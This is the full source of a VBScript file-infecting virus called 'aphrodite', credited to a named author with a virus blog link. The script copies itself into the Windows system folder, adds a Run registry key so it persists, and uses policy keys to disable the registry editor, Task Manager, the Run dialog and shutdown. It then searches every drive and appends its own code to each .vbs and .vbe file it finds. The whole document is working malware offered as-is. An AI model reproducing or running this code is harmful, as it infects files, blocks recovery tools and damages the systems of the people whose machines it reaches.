'-----------------------------------------------------------------------------------
rem aphrodite family
rem .::aphrodite.a.vbs::.
rem Made in iran
rem Author:reza goodarzi
rem url:http://iranianvirus.blogfa.com
on error resume next
set w = createobject("wscript.shell")
rk = "HKCU\Software\Microsoft\Windows Script Host\Settings\Timeout"
tmo = w.regread(rk)
if not(tmo = 0) then
w.RegWrite rk ,0,"REG_DWORD"
end if

set f = createobject("scripting.filesystemobject")
set s = f.getspecialfolder(1)
h = s & "\aphrodite.vbs"
set m = f.opentextfile(wscript.scriptfullname)
c = m.readall
if f.fileexists(h) = false then
f.copyfile wscript.scriptfullname, h
set l =  f.getfile(h)
l.attributes = 1
else
set o = f.opentextfile(h,1)
e = o.readall
i1 = instr(1, e, ".::aphrodite.vbs::.", 1)
if i1 = 0 then
l.attributes = 0
f.copyfile wscript.scriptfullname, h
l.attributes = 1
end if
end if
lm = "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\"
er = w.regread(lm & "aphrodite")
if not(er = h) then
w.regwrite lm & "aphrodite", h
end if
cu = "HKCU\software\microsoft\windows\currentversion\policies\"
w.regwrite cu & "system\disableregistrytools",1, "REG_DWORD"
w.regwrite cu & "system\disabletaskmgr",1, "REG_DWORD"
w.regwrite cu & "Explorer\NoRun", 1, "REG_DWORD"
w.regwrite cu & "Explorer\NoClose", 1, "REG_DWORD"
set drives=f.drives 
for each drive in drives
if drive.isready then
dosearch drive & "\"
end If 
next 
function dosearch(path)
on error resume next
set folder=f.getfolder(path)
set files = folder.files
for each file in files
t=f.getextensionname(file.path)
t=lcase(t)
if (t="vbs") or (t="vbe") then
fp = (file.path)
set k = f.opentextfile(fp, 1)
k1 = k.readall
k2= instr(1, k1, ".::aphrodite.vbs::.", 1)
if k2 = 0 then
set d = f.getfile(fp)
v = d.attributes
d.attributes = 0
set k3 = f.opentextfile(fp, 8)
k3.writeline(" ")
k3.writeline(c)
d.attributes = v
end if
end if
next
set subfolders = folder.subfolders
for each subfolder in subfolders
dosearch subfolder.path 
Next
end function
'-----------------------------------------------------------------------------------